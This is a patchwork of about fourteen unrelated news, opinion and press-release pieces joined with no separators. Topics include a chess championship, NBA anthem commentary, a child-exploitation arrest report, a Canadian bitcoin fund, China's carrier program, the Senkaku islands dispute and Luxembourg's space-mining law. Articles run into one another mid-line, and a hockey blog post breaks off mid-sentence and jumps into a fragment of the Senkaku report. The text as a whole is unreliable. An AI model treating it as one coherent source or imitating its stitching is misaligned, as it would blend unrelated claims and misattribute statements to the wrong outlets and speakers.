The tournament’s organizers have declared their own victory, though, bragging that the 20-day biennial championship had drawn some 10,000 spectators to its location in the South Street Seaport. But that’s less than, say, half the average attendance of the worst team in baseball for any one of its 81 home games this year. And the event’s only two main sponsors were PhosAgro, a Russian producer of phosphate-based fertilizer, and EG Capital Advisors, a Russian investment management company. Not exactly Nike and Coca-Cola.
But despite the controversy and the finances, what’s really missing from chess is a character.
The U.S. has three players in the world Top 10, any one of whom could have a shot at challenging Carlsen for the title in two years. They’re undeniably fantastic players. But they seem less like compelling national characters — and less like artists — than Fischer did. They’re technicians, raised in a computer-chess age. Carlsen ended the match and extended his world championship reign with a beautiful move on Wednesday evening — whether he’d admit its beauty or not — sacrificing his queen to entrap Karjakin’s king. But in one of the postgame press conferences, Carlsen said chess was a sport and a science. For art, he said, you’d “have to look elsewhere.”
After the match — after the trophy presentation and the cake and the champagne — our photographer and I tracked down the Norwegian contingent at an after-after-party at a steakhouse a couple miles uptown. It was a festive scene. Holiday garland and lights festooned the bannisters and the restaurant was a cozy respite from the cold and rainy November day outside. Carlsen was sitting at a far table in the crowded dining room with about 50 others. He was eating. With a fork. Like a person. It was odd to see him with something other than a chess piece in his hand.
I wanted to talk to him. I’d been watching him for hours most days for the past three weeks. But honestly I had no idea what I’d say. Carlsen famously hates interviews. But I was saved. “No questions. Definitely no,” his manager, Espen Agdestein, told us. “He’s very tired. We’re just relaxing.”
I’m not Carlsen. But I understood.After releasing a video taking on whiney, complaining students, The Silent Partner Marketing, a boutique firm focused on helping businesses grow, was flooded with resumes --but before potential applicants are hired, they must pass a unique test.
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Kyle Reyes, CEO of The Silent Partner Marketing, told the FOX Business Network’s Stuart Varney, a “snowflake test” is used to vet job applicants.
“A snowflake is somebody who is going to whine and complain and come to the table with nothing but an entitled attitude and an inability to back their perspective,” he said.
According to Reyes, the company has eliminated 60 percent of interviewees through the application process.
“We used it to sort of weed out the people who were inundating us with resumes and didn’t even know what we do for work,” he said.
The test includes questions revolving around a candidate’s stance on America, police, and guns (some were asked to Varney, who passed the test), but Reyes said he’s not concerned about discrimination lawsuits.
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“There’s no discrimination here because what this really is, is a glorified personality test. This is something that happens in interviews every single day,” he said.The NBA regular season opened on TNT tonight, and LeBron James and his Cleveland Cavaliers teammates locked arms during the national anthem. No one on the visiting Boston Celtics appeared to take part as a retired Navy man belted out the song.
James and some teammates had their heads bowed as the camera showed them near the end of “The Star-Spangled Banner,” but there was no kneeling or other obvious protests.
During the pregame show, analyst Kenny Smith was asked whether he thought there would be any protest during the anthem. “If they feel they need to create more awareness in certain situations, I think they should do it — because protest is going to make the comfortable uncomfortable. … Protest creates awareness then creates change. You can’t bypass it.”
Fellow analyst Charles Barkley disagreed.
“I’m sick of hearing about protests,” he said. “We have spent so much time worrying about who’s kneeling and who’s got the fist up, and we have not come up with solutions.” Asked by Smith who Barkley meant by “we,” the NBA Hall of Famer said, “Everybody. We’re all in this thing together.”
Said analyst Shaquille O’Neal: “I agree with Chuck. Enough talking. When are we going to do something about it? … When you allow people to deviate from what you’re trying to do, then they can create other problems. They always say, ‘We’re not disrespecting the flag,’ but when you allow people to say, ‘You are disrespecting the flag by doing it during the national anthem,’ is the message really being heard?”WARREN, Mich. - A Warren mother stands accused of offering up her 4-year-old daughter on an adult website for money.
Jennifer Brys, 26, is accused of posting an ad on Backpage.com, a listing website that contains an area for adult content, and carrying on a conversation with 25-year-old Edward Reardon when he responded.
During the course of the conversation, investigators allege that Brys shared with Reardon that she had a young daughter.
Through text messages, investigators said Brys and Reardon agreed to meet because Reardon was interested in the daughter -- including showering with her. The conversation between the two included prices, which were in the hundreds of dollars.
Investigators said the girl's father found the text messages before the meeting with Brys and Reardon took place. He contacted police and Brys and Reardon were arrested.
They are both facing charges of child sexually abusive material and communicating on a computer with another to commit a crime.
Reardon is on a federal tether for being involved in similar incidents in other states.
Their bonds have been set at $500,000.
Copyright 2013 by ClickOnDetroit.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Canadian bitcoin trust fund, a cryptocurrency investment fund which allows people to make profit from the evergreen bitcoin increasing value without actually buying bitcoin has just been approved in Canada.
Recall that a similar fund platform in US, had applied before but got disapproved by the federal security regulator earlier march of this year.
Vancouver based company,”First Block Capital” launched the Canadian bitcoin trust fund early July and was granted as a fund manager by the British Columbia Securities Commission(BCSC) on Wednesday and will now be able to manage a bitcoin investment fund in British Columbia and Ontario.
The BCSC has granted First Block Capital Inc. registration as an investment fund manager and an exempt market dealer in order to operate a bitcoin investment fund.
The leader of the BCSC`s tech team,Zach Masum also told aspiring registrants or existing fund managers to contact the team if they are considering pursuing cryptocurrency investments in their funds.
Zach also said that….
“Cryptocurrency investments are a new and novel form of investing in Canada. We have seen from the market and from investors that there is a strong appetite for access to these kinds of investments”
What does this mean?
it means that for finance-types in Canada, it means that you can buy a stake in a pool of bitcoin operated by First Block Capital. As the bitcoin rises in value, the value of your stake will go up in turn.
You can access the canadian bitcoin trust fund portal @ frontfundr.com, only direct bitcoin deposit investments can be invested on the bitcoin trust fund platform.Blue Water Dreams
On a visit to Washington this month, Chinese Gen. Chen Bingde, chief of the People’s Liberation Army (PLA) General Staff, confirmed what Asahi Shimbun and the Financial Times reported last December: China, he said, has officially committed itself to deploying aircraft-carrier task forces, a program that has evidently been under way since 2009. A Soviet flattop called Varyag, refitted and reportedly rechristened Shi Lang, may take to China’s "near seas" for sea trials sometime around July 1. Whenever it takes place, the maiden cruise of the Varyag will mark a milestone in China’s return to great power.
Any number of excellent technical studies of Beijing’s carrier plans have appeared in recent years, and much ink has been spilled debating the ship’s design characteristics: flight-deck configurations, launch and recovery systems, and propulsion plants. But to my mind, the best guide for figuring out what it all means in terms of China’s naval strategy isn’t the latest edition of Jane’s Fighting Ships, but rather the two-plus-millennia-old History of the Peloponnesian War. In his chronicle of the protracted war between Athens and Sparta in the fifth century B.C., the Greek general and historian Thucydides proclaims that "three of the strongest motives" animating states’ actions are "fear, honor, and interest." Peoples must arm lest they fall victim to the "law that the weaker should be subject to the stronger." China’s aircraft-carrier ambitions can be seen in similar terms.
During his tenure as chairman of the early People’s Republic, Mao Zedong took little interest in the sea, focusing instead on land defense. Even after the Great Helmsman’s demise, Chinese leaders like Deng Xiaoping contented themselves with free-riding on U.S. maritime supremacy, reasoning that finite resources were better spent on economic development than on putting steel in the water. But with development came increasing reliance on the sea for imports of fuel and raw materials, not to mention exports of finished goods. Shipping lanes now figure prominently in China’s foreign-policy calculus. Chinese statesmen accordingly fret that the United States will hold China’s economic interests hostage during a crisis or war in the Taiwan Strait or elsewhere in maritime Asia, mounting a "distant blockade" to interdict the crucial sea routes on which Chinese commerce overwhelmingly depends.
Fear that the U.S. Navy will cut China’s economic lifelines from afar beckons China’s strategic gaze irresistibly seaward. An editorial in the official People’s Daily last December captured China’s broader geopolitical anxieties. The United States, the editors write, is intent on preserving "its hegemony across the world," including on the high seas in Asia. Focused on latter-day containment, Washington has stayed outside the U.N. Convention on the Law of the Sea. Why? Because, the editors write, it "considers exclusive economic zones to be international waters, which, by its hegemonic logic, should be included in the U.S. sphere of influence." In voicing their own fears, Chinese pundits — not unreasonably — impute fear to the United States. "Any fast-developing country," concludes the Daily, will be "instinctively seen" as a challenge to U.S. primacy. Such countries must construct strong military and naval forces, equipping themselves to resist a domineering America.
Such a bleak analysis would be instantly familiar to Thucydides, who found the "real cause" of the Peloponnesian War in the "growth of the power of Athens, and the alarm which this inspired in Sparta." Fear made great-power war "inevitable." From Beijing’s standpoint, assenting to permanent U.S. maritime supremacy would amount to knuckling under to Thucydides’s law condemning the weak to remain subservient to the strong. Dread of what U.S. leaders might do with overwhelming sea power helps account for China’s quest for a great navy.
But why aircraft carriers specifically? Beijing is already fielding an impressive cruise-missile navy specifically designed to deny U.S. naval forces access to Asian seas and skies during a Taiwan confrontation or some other upheaval. Cruise missiles, augmented by submarines, ballistic missiles, and land-based tactical aircraft, would be far more lethal against the U.S. Navy than any carrier fleet Beijing will put to sea anytime soon. Writing in International Security, Boston College professor Robert Ross ascribes China’s carrier-centric naval buildup to "naval nationalism." In this view, high-end warships represent tokens of great power that Beijing simply must have to fulfill its destiny as a seafaring state. Such talismans fire popular enthusiasm for nautical endeavors, and for the state that undertakes them.
History is not unimportant here. China still nurses memories of its long "century of humiliation" at the hands of seaborne conquerors like imperial Britain, France, Germany, and Japan. Starting with the First Opium War (1839-1842), imperial powers defeated the ruling Qing dynasty again and again, compelling Qing emperors to accept "unequal treaties" along with such indignities as foreign gunboats patrolling Chinese rivers. Such memories are a lot for Asia’s historical central power to stomach. Furthermore, Chinese observers have looked around the U.N. Security Council and noticed that all five permanent members except China deploy aircraft carriers. Closer to home, the Japan Maritime Self-Defense Force operates light carriers known euphemistically as "helicopter destroyers"; South Korea has a similar vessel. Even Thailand has a flattop. The upshot is that a carrier will certify China’s arrival as a sea power.
But there’s more to China’s navy than nationalism — and there’s more to the Chinese aircraft-carrier program than salvaging China’s good name or keeping up with the Joneses. Beijing can use carrier task forces to uphold real, tangible interests. Most obviously, a PLA Navy carrier group could exit from the China seas through the Ryukyus, to Taiwan’s north, or the Luzon Strait, to the island’s south, during times of strife. By threatening the east coast of Taiwan, carrier groups would further complicate a tactical picture for the island’s defenders that already verges on hopeless. The PLA already holds a commanding margin of superiority, so carrier operations would not decide a cross-strait war. But compelling the Taiwan Navy and Air Force to look eastward — as well as westward and skyward — would further disorient them, letting the PLA set the terms of engagement. PLA forces could thus prevail before the U.S. military could intervene, and Beijing would fulfill its dream of national unification with minimal disturbance to the regional order.
There’s also the South China Sea, which has dominated headlines of late. Some Chinese-claimed islets in the Spratlys and Paracels are too small to fortify; carrier groups would provide a forward, mobile airfield from which to defend the islands, the adjacent waters, and the rich natural resources thought to lie in the seabed beneath. And as Beijing turns its gaze further southwest, carriers could anchor a PLA Navy presence in South Asia, should Chinese leaders opt to create a standing Indian Ocean squadron. Flattops could perform many functions, just as these multimission platforms have spearheaded U.S. naval operations since World War II.
Nor must Chinese carriers match their U.S. Navy counterparts on a ship-for-ship basis to achieve Beijing’s goals. As noted before, the PLA Navy surface fleet benefits from dense land-based fire support. For instance, the PLA Second Artillery Corps, or missile force, is reportedly fielding the world’s first anti-ship ballistic missile (ASBM), a truck-launched weapon capable of striking ships under way hundreds of miles from Asian shores. There is no known defense against it. If the missile lives up to its hype — and if Beijing acquires sufficient numbers of rounds — U.S. Pacific Fleet commanders will be increasingly reluctant to venture westward of Guam. And if they do accept the losses inflicted by ASBM strikes, U.S. mariners will encounter land-based combat aircraft, quiet diesel submarines, and stealthy high-speed catamarans toting long-range anti-ship cruise missiles. Just reaching the combat theater could come at a steep cost.
If indeed the PLA converts the Western Pacific into a no-go zone for the U.S. Navy, it can uphold China’s Thucydidean interests without ever risking a battle with its major antagonist. Land-based defenses may grant PLA naval commanders time to train pilots. It’s a steep learning curve: In 1954 alone — fully eight years after a jet fighter first landed aboard the carrier USS Franklin D. Roosevelt, and despite having developed sound concepts for flying jet aircraft from carrier decks — the U.S. Navy and Marine Corps lost 776 aircraft and 535 airmen. China is by no means exempt from such hazards. Shore defenses also give China’s navy a respite to work the engineering kinks out of the flattops themselves and to experiment with fleet tactics. Carriers steam in company with an entourage of escorts and logistics ships. It takes time to sort through various formations, defensive screens, underway replenishment techniques, and the like. Shore fire support affords the PLA leisure to devise its own approach to carrier operations, and it spares China the need for a costly, uncertain naval arms race with the United States. Why waste scarce resources?
By no means is combat readiness the sole motive propelling China’s carrier ambitions. Carriers can prosecute numerous noncombat missions. After the 2004 Indian Ocean tsunami, for instance, Chinese pundits took note of how U.S. Navy vessels transiting the afflicted region rushed to the scene to render assistance. Hard power, in other words, enabled the soft kind, and Beijing felt sidelined. To remedy such shortcomings, it has built vessels like hospital ships and amphibious transports suitable for responding to natural and humanitarian disasters. Big-deck carriers would make a worthy addition to China’s emerging disaster-relief repertoire.
And even these non-Thucydidean errands of mercy add luster to China’s maritime reputation, bolstering the legitimacy of its naval enterprise and thus indirectly advancing its national interests. Great powers do well by doing good. Comforting the afflicted is not only worthwhile in its own right but helps the benefactor establish a track record for using its martial prowess wisely and humanely. Such a power eases suspicions of its intentions by furnishing international public goods that benefit not only China but its Asian neighbors. Beijing knows that to truly be a great sea power, you have to look — and act — the part.Compared to theatre, film and TV, few say video games have artistic merit – but could this be about to change?
“In 2014 the total value of the global video game industry will outstrip Hollywood, and not for the first time.” That is just one, increasingly popular, argument for treating video games like other art forms – by giving them top priority awards ceremonies.
There are, of course, the British Academy Games Awards, which took place last week, but they attract a fraction of the media attention of their film and TV counterparts.
But are video games even art?
Most people (61%) say they cannot be considered as “art”, while 27% say they can be. Even 54% of those who play games at least several times a year (46% of the population) dispute their artistic value, while 35% allow them to be called “art”.
Compared to other visual arts, video games are considered by far the least artistic: 88% say theatre is art; 77% say film is; and 45% say TV is. Notably, the media most popularly considered to be "art" are also the ones that have been around the longest. Theatre has, of course, been around for centuries and film has been around since the turn of the 20th Century. On the other hand, the history of television in Britain only really began in the late 1930s (though BBC television broadcasting was then suspended during WWII). Video or computer games didn't reach mainstream popularity until the 70s or 80s, and only in the 90s did the gaming industry begin to resemble its present form, either in terms of technology or market size.
Age differences
The global gaming industry is expected to be worth $90bn by 2017, and young people appear particularly exposed to gaming culture – 18-24s are more than twice as likely to play at least once a year compared over-60s.
Young people are also more likely to see video games as having artistic merit. Though only 24% and 14% of those aged 40-59 and over 60, respectively, say video games can be considered as “art”, 38% and 40% of those aged 18-25 and 25-39 feel they can be.
At the Baftas for gaming, zombie thriller Last of Us won five awards including Best Game, Best Action Adventure Title and Best Story. Rockstar, the maker of Grand Theft Auto V, was honoured with the Bafta fellowship award. Dan Houser, co-founder, said: "This is a tremendous honour to us as a mostly British-run company.
Image: Getty
See the full poll resultsANALYSIS/OPINION:
President Trump presided at an unusual signing ceremony on Thursday, the day before his address to thousands of Bible-carriers at Tony Perkins’ annual Values Voters Summit in Washington. The White House signing signified that a Republican president understands that his majorities in both houses of Congress actually don’t amount to a hill of beans.
It showed he understands that repealing and replacing Obamacare — and fulfilling many other Trump-GOP campaign promises — will not happen this year or next. Not even if conservative Republicans manage to replace what many on the right regard as the swamp’s Big Three drain blockers: Mitch McConnell, Paul Ryan and Kevin McCarthy.
They bear the titles, if not the substance, of “Senate majority leader,” “House speaker” and “House majority leader” respectively. Probably not a good idea to mention them in most conservative circles.
Why?
A week ago Friday, U.S. Rep. Andy Biggs, Utah Republican, had the mettle to say why — out loud, to American Conservative Union Chairman Matt Schlapp’s regional Conservative Political Action Conference and to National Federation of Republican Assemblies’ fire-breathing president Willes Lee’s annual convention. Both took place in tandem in Mesa, Arizona.
Mr. Biggs told both assemblies that replacing the three swamp cloggers doesn’t matter because “about 15 percent of our Republicans belong to the House Freedom Caucus, which is determined to get full Obamacare repeal.”
Another 20 percent of Republicans are in the ‘Tuesday Group’ who’ve glued themselves to parts of Obamacare, he said.
“And then there’s rest of the Republicans in the House who are sitting somewhere in between — and terribly confused,” Mr. Biggs told his two audiences, both solid with Trump-lovers. Mr. Biggs was saying explicitly and Mr. Trump implicitly, in other words, that the self-described conservative party can’t manage to elect enough conservatives to enact their party’s promises, let alone the president’s.
That’s where Mr. Perkins comes in, along with the array of rightist interest groups that came together in a separate meeting last month. Judicial Watch’s Tom Fitton, Freedom Works’ Adam Brandon, Media Research Center’s Brent Bozell, Independence Institute’s Amy Cooke, Heritage Foundation’s Bridget Wagner and others set out learn how to take the offense in America’s political-culture battles instead of always being on the defense against what they see as the left’s incessant offense, with its wily, conniving, infiltrating, lying tactics.
The test will be whether they can succeed in their plan to learn and use successfully the tactics and strategies of the late leftist Saul Alinsky — minus his lying, Mr. Bozell insisted — to grow the donors and backers of conservative organizations and use that power to elect to Congress true-hearts instead of CINOs — conservative in name only. We’ll get our first inkling when the votes are counted in next year’s elections.
• Ralph Z. Hallow, chief political writer at The Washington Times, has covered Washington since 1982.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.As tech giants Google, Apple and Microsoft all look to smarten up your car’s dashboard and entertainment system, the Linux Foundation has stepped into the scene with its own customizable, open-source alternative. Dubbed Automotive Grade Linux, this open software stack aims to become the standardized platform upon the future of in-car systems is built.
The project has the backing of a wide-ranging list of companies in the automotive industry, including Jaguar Land Rover, Toyota and Nissan; as well as technology companies such as Advanced Telematic Systems, Fujitsu, Harman, Intel, LG, NEC, Panasonic, and Samsung.
Rather than a complete production-ready system, AGL is only meant to lay the groundwork for car makers to build their own stuff on top of it. The platform is based on the Tizen In-Vehicle Infotainment Project, and includes software for climate control, maps, dashboard displays, media playback, a news reader (AppCarousel), smart device link integration, and more.
"This AGL release is a great step forward and the community is already looking to build on its work to address a number of additional capabilities and features in subsequent releases. With AGL at the core, the industry will be able to more rapidly innovate and evolve to meet customer needs," the Linux Foundation's general manager of automotive, Dan Cauchy, said in a statement.
The foundation shared a few shots of the interface on its Flickr page, though it may end up looking completely different from one car maker to another.
The first version of Automotive Grade Linux is available to download now. It’s worth noting that while many big auto makers seem to be backing the project, there’s no guarantee and no indication if and when we’ll see it in cars.HIROSHIMA, Japan—Mazda Motor Corporation announced today it will unveil a thoroughly re-engineered and refined Mazda6 sedan (known as Mazda Atenza in Japan) at the Los Angeles Auto Show. The company will hold a press conference at 10:30 a.m. (local time) on Nov. 29, the first of two press days. The show is open to the public from Dec. 1-10.
The Mazda6 is the flagship of Mazda’s passenger car lineup. The development team’s goal for this round of updates, the third since the model was fully redesigned in 2012, was to enhance the daily lives of people who love cars, incorporating premium details and new engineering concepts and technologies based on Mazda’s human-centered design philosophy.
The powertrain lineup adopts new technologies, including a cylinder deactivation system for the SKYACTIV-G 2.5-liter gasoline engine, to offer superior fuel efficiency and a performance feel crafted to match human sensibilities. In addition, the SKYACTIV-G 2.5T direct-injection turbocharged gasoline engine that debuted in the Mazda CX-9 crossover SUV has been added to the engine lineup in North America and some other markets. Producing torque on par with 4-liter V8, this engine offers an effortless performance feel that is equal parts composure and excitement.
The concept behind the styling improvements is “Mature Elegance,” and the design team worked to raise the quality feel of both the interior and exterior, resulting in a look of greater maturity and composure. A new high-grade interior features Japanese Sen Wood, often used in traditional Japanese instruments and furniture, and other exclusive trim elements for an enhanced premium feel that is authentic to the brand. Overall the design is more distinctive, premium, beautiful and dignified, as befits the flagship of Mazda’s passenger car lineup.
The updated Mazda6 offers a wider range of advanced i-ACTIVSENSE safety technologies which help the driver identify potential risks and reduce the likelihood of damage or injury. Mazda Radar Cruise Control (MRCC) can now bring the car to a standing stop and take off again when the car in front moves away, and the model also adopts Mazda’s latest 360° View Monitor. In combination with previously introduced safety features, these technologies allow drivers to enjoy superior safety and worry-free driving under an even wider variety of conditions.
The highly acclaimed VISION COUPE design concept, which the company recently unveiled at the 2017 Tokyo Motor Show, and the updated Mazda CX-5, which adopts the same SKYACTIV-G 2.5 with cylinder deactivation as the new Mazda6, will both make their North American debut at the L.A. Auto Show.
In line with its “Sustainable Zoom-Zoom 2030” long-term vision for technology development, Mazda aims to use the fundamental appeal of the automobile — driving pleasure — to inspire people, enrich society and help bring about a beautiful earth. By offering an experience of car ownership that celebrates driving, the company hopes to enrich lives and build a strong bond with customers.
Click here to visit the 2017 L.A. Auto Show Press Kit:
https://insidemazda.mazdausa.com/newsroom/2017-la-auto-show/
To follow the livestream unveiling of the new Mazda6, please visit:
https://insidemazda.mazdausa.com/new-mazda6
List of exhibits at the 2017 Los Angeles Auto ShowYou know the Vancouver Canucks’ season is drawing to its inexorable conclusion when the team’s biggest media apologists have nothing better to do than to pick fights with the lowly basement dwellers here at Canucks Army.
What started out as a fairly level-headed, and generously qualified, critique of the notion that people want the Canucks to focus on rebuilding and developing younger players but can’t handle the losing that comes with it quickly degenerated into figurative, if not literal, mud slinging:
Live by this from great sportswriter Jim Taylor: "Never mud wrestle a pig. All you get is dirty, and the pig likes it." Peace+blessings. — Iain MacIntyre (@imacVanSun) March 11, 2017
Alas, it turns out MacIntyre actually doesn’t live by this Jim Taylor adage. A scant 24 hours later he waded right into the mud pit, accusing Canucks Army writers of eating human flesh. Or something. I don’t really know. The point is maybe we can’t believe anything he tweets, either.
But before we climb in the pit with him, let’s recap the issues here, and there are two of them.
The first is that this market supposedly can’t handle a rebuild. It is something we have heard before from Canucks’ President Trevor Linden, so it shouldn’t surprise us to see that MacIntyre is singing from the same song sheet. But as I pointed out almost two years ago, what this market really can’t handle is repeated mediocrity with no end in sight:
This team is slowly getting worse. The core is aging and/or being shipped off one piece at a time. Yes, there are some potential younger pieces coming along, but not nearly enough to fill the holes. The fans, as a whole, see this and if there’s one thing this market has had enough of, it’s mediocrity. But if the expectation is that the team will continue to get worse for years, the bleeding of season ticket holder support will continue until such a time as those expectations turn positive.
And almost two full seasons later, that’s exactly where this franchise finds itself.
The second issue MacIntyre takes with the fanbase is that we apparently want it all. We want the Canucks to develop players and we want them to win. First of all, maybe he should take that up with Trevor Linden and Jim Benning, because that’s exactly what they’ve said they want on repeated occasions. And he should know, he’s printed their claims without batting an eyelash on more than one occasion.
But as Jackson pointed out, what we at Canucks Army, and many among the fanbase, are doing is criticizing the decisions being made, not the outcomes of the games. Linden and Benning claim that they want to develop players, but their coach is out there trying to win games at the expense of developing them. And sometimes he’s doing both simultaneously, like when he wouldn’t give Baertschi a chance to play in an offensive role:
Anyway, I digress. My point is this: when I see Baertschi scratched in favour of Cracknell I shake my head at the poor decision making that ices an inferior roster and increases the likelihood of losing the game. But then, I also think that in the long run, maybe that’s not such a bad thing. Another loss is another game closer to that higher pick and the potential of selling at the deadline.
That is what people are upset about. No one that understands what this team really is and what they need to do to improve and compete again cares if they lose to the Penguins. They care that the lone offensive bright spot to come along in months is forced to ride the pine after scoring a highlight reel goal in his first game with the team.
And this brings me to MacIntyre’s 750-word roll in the mud pit, which breaks down as follows:
Sticks and stones may break my bones, but bloggers can never hurt me. You bloggers don’t have access to players, coaches and managers. You don’t even want access to players and coaches, because that would just make things inconvenient. Heck, you guys probably can’t even write up a shopping list. haha Math is hard. Because I have to face Willie Desjardins, I’m not willing to criticize him. You are all zealots worshiping at the altar of analytics and defending your religion all costs (instead of accepting the learned wisdom of hockey men who’s lives and livelihoods are devoted to the game). You would never find anything creative like literature at Canucks Army.
There’s a lot to dissect here, but let me focus on just three things.
First, two writers at Canucks Army have press credentials with full media access to Rogers Arena. Writers for Canucks Army have asked questions at press conferences and have interviewed players. Perhaps they don’t have the “special” access to Linden and Benning that MacIntyre apparently has, but maybe there’s a reason for that.
Secondly, the implication is that all the writers at Canucks Army do is rely on statistical analysis and nothing else. Again, this is simply untrue. There were no “impregnable figures” in Jackson’s original post, nor in the underlying arguments. MacIntyre is apparently mistaking logic and reasoning for math, but more on that later. What I do want to say now is that I can guarantee you that writers like Ryan Biech and Jeremy Davis easily watch more hockey in a week than MacIntyre does in a month.
Finally, I take issue with the notion that you would never find something as creative as a poem, or say an homage to Charles Dickens, at Canucks Army. The implication being that the basement-dwelling nerds here at Canucks Army can’t appreciate the game for what it is: a game. But the fact is, you can do both. You can appreciate the beauty of the game and seek to understand it, and understand how it works.
The truth |
off by Japanese ships, and the two nations' militaries have shadow-boxed in international waters and international skies.Tokyo says it nationalized the islands as a way to take the sting out of a potentially explosive attempt to buy them by nationalists, who talked of developing them for tourism.It was somewhat wrong-footed by the vehemence of Beijing's response, which saw violent protests erupt across China and diplomatic ties frozen, badly affecting a huge trade relationship on which both countries depend.A change of government in Tokyo that made hawkish nationalist Shinzo Abe prime minister did little to soothe matters.Xinhua Tuesday accused him of turning a blind eye to the nation's "beautifying of atrocious wartime crime", the latest in a long line of tongue-lashings Chinese state media has delivered.Eight Chinese ships spent several hours in the islands' territorial waters on Tuesday and four remained in the contiguous zone on Wednesday, Japanese officials said.Contiguous waters are maritime areas adjacent to territorial sea where a coastal state has certain limited rights."We are preventing Chinese official ships from entering our territorial waters, with our ships sailing very close to the Chinese ships," coastguard official Miyako said.Under the United Nations Convention on the Law of the Sea, a nation can evict foreign military ships that enter its territorial waters. However, Miyako said, the rules regarding official ships, such as coastguards, are unclear."Therefore we are working in line with the Japanese government's policy of demanding they stay out of our territory," he said.Chief Cabinet Secretary Yoshihide Suga on Wednesday repeated Tokyo's mantra that the islands "are an integral part of Japanese territory", but stressed Japan cherishes ties with China as "one of its most important bilateral relations" and was keeping the "door open" for dialogue.Analysts say the row is unlikely to fade given China's rising power and an uncompromising approach from both sides."I suspect the dispute won't ever be resolved as long as they keep their current positions," said Yoshinobu Yamamoto, professor of international politics at the University of Niigata."It is wise and practical for the two countries to put it aside and shift their focus to other areas such as economic and regional issues," Yamamoto said.On Tuesday, Suga said the government was "considering it as an option", when asked if Japan would station officials on the islands, but did not elaborate.Chinese foreign ministry spokesman Hong Lei said Beijing was "gravely concerned" by the remarks."China's resolve to defend the sovereignty of the Diaoyu islands is firm, and we will not tolerate the Japanese side taking action to infringe China's sovereignty," he said. "The Japanese side must be prepared to bear the consequences of this provocation." Japan annexed what it says were unclaimed islands in 1895. It says China's assertion of ownership only came after the discovery of resources in the seabed at the close of the 1960s.Beijing maintains that the islands have been its territory for hundreds of years and were illegally snatched by Tokyo at the start of an acquisitive romp across Asia that culminated in World War II.Analysts have warned the presence of so many vessels and airplanes increases the likelihood that a slip by one side could lead to a military confrontation, with serious regional, and possibly global, ramifications.Fans of the old Mile High Stadium will be able to bring those memories to life when a small replica opens Saturday and season ticket holders get the first view.
On Thursday afternoon under a hot sun, workers labored at the finishing touches for the Mile High Monument, painting the field, which measures about 12 yards by 6 yards, and hoisting a replica of Bucky the bronco atop the miniature scoreboard.
“It’s been a dream of management … for several years to pay homage to what everyone loved,” said general manager Jay Roberts, standing before the rows of blue and orange seats in the tiny, 3,000-square-foot stadium.
The idea is for Broncos fans “to sit in the old stadium and memories will come flooding back,” he said.
Located in parking lot J, the exact site of the old stadium, Mile High Monument is one-eighth the size of the original, built to seat 241 people — with 165 seats that came from the original stadium.
There’s also a press box, and an 8-foot statue of the Barrel Man — otherwise known as Tim McKernan, the super fan who attended every home game wearing only an orange barrel, orange cowboy hat and orange boots — plus a replica of the legendary South Stand bleachers. Made of steel girders, “there was nothing luxurious about them,” said spokeswoman Rebecca Villanueva, remembering that fans who went for those seats were proud of “toughing it out.”
The loudest and most raucous fans always took those seats, calling themselves “South Standers,” usually leading the cheers and boos. And, in the earliest years, those tough South Standers did not hesitate to pelt “the visiting teams with whatever they could get their hands on,” according to the caption next to the stands.
For Broncos fans, it’s a stroll down memory lane, with labels and signs capturing snippets of history, with salutes to people such as John Elway, Pat Bowlen and Bob Howsam, the Denver native who built Bears Stadium as a minor league baseball park then grew it into the Mile High Stadium, where the Broncos attracted constant sold-out crowds.
Memories include the time Broncos defensive end Lyle Alzado fought heavyweight champion Muhammad Ali during an eight-round exhibition on July 14, 1979.
A video board will replay some of the Broncos’ greatest moments in Super Bowl history.
Entrance is free, a “tribute to all the amazing fans who made Broncos Country what it is,” Roberts said.When Etienne Schneider became Luxembourg's minister of the economy in 2012, one of his first trips abroad was to NASA’s Ames Research Center. It might have seemed strange for the tiny state's money man to solicit meetings with cosmic researchers, but Luxembourg is always on the lookout for its next big investment. So when the center’s director, Pete Worden, began to talk about space mining—extracting water, ore, precious metals, alien time capsules, and whatever else from the likes of asteroids—Schneider listened.
“I thought this was all science fiction,” says Schneider. But Worden convinced him there was a whole cosmic economy to build, one that could extend from the moon to Mars. That same year, two guys founded a space prospecting company called Planetary Resources. And in January 2013, another, named Deep Space Industries—headquartered inside NASA's Ames campus—was born. Soon, Schneider saw the same future they did. “The question was not if that all would happen, but when,” he says. “And there I saw a huge opportunity for Luxembourg.”
That’s why, on August 1, Luxembourg plans to adopt a new law that gives empyrean mining companies the rights to whatever they pull from asteroids—making itself an attractive place for those companies to settle and distribute their harvested riches.
Here are two things you should know about Luxembourg: One, its population is less than Milwaukee’s. Two, its per-capita GDP is second-highest in the world, according to currently available World Bank figures. In other words, the Grand Duchy is small, but the Grand Duchy is mighty.
That’s not an accident. “Luxembourg is such a small country that we always have to reinvent ourselves and take on a certain risk to succeed,” says Schneider. Back in the 1980s, the government gave SES—Europe's first private satellite operator—the legal and budgetary boost it needed to grow into a dominant satcom provider. The state didn't just throw money at SES: It actually owns a significant chunk of the company. Other space-centric companies sprouted up around SES, and together, they now account for 1.8 percent of the country’s nearly $60 billion GDP.
To do the same with the embryonic asteroid mining economy, Schneider needed to create incentives for mining companies to set up shop in the landlocked country. After all, Luxembourg is a few years behind the US’s own space act, which says a citizen who commercially acquires a space resource then "shall be entitled to it...to possess, own, transport, use, and sell." Planetary Resources and Deep Space Industries, as well as space-habitat-maker Bigelow Aerospace, lobbied in favor of the law.
So Luxembourg lured them eastward with money (know your strengths)—200 million euros of initial support in grants, R&D money, and direct investment. In May 2016, Luxembourg committed to funding some of Deep Space Industries' R&D, and that same month, Planetary Resources signed its own deal, too—pledging to develop some tech exclusively within the country's borders. Luxembourg went on to invest 25 million euros in Planetary Resources, making the country a key shareholder. On top of direct investment, companies that relocate to Luxembourg or add a district office can apply not just for the country's grants but also for those from the European Space Agency. Soon, there may even be a public-private venture capital fund.
In other words, Luxembourg is making it rain. And more than 60 companies have either benefited from its cash or hope to.
But all that investment does no good if a space mining company has no rights to its plunder. The United Nations’s Outer Space Treaty, created in 1967, suggests that rights to resources may not be rights anyone can have, legally. Its Article 2 says, “Outer space, including the moon and other celestial bodies, is not subject to national appropriation by claim of sovereignty, by means of use or occupation, or by any other means.”
So Luxembourg—and the US, in that 2015 move—crafted loophole laws. They both say, essentially, companies are not staking claim over asteroids but merely the minerals they dig out. They're not appropriating any bodies—just severed limbs!
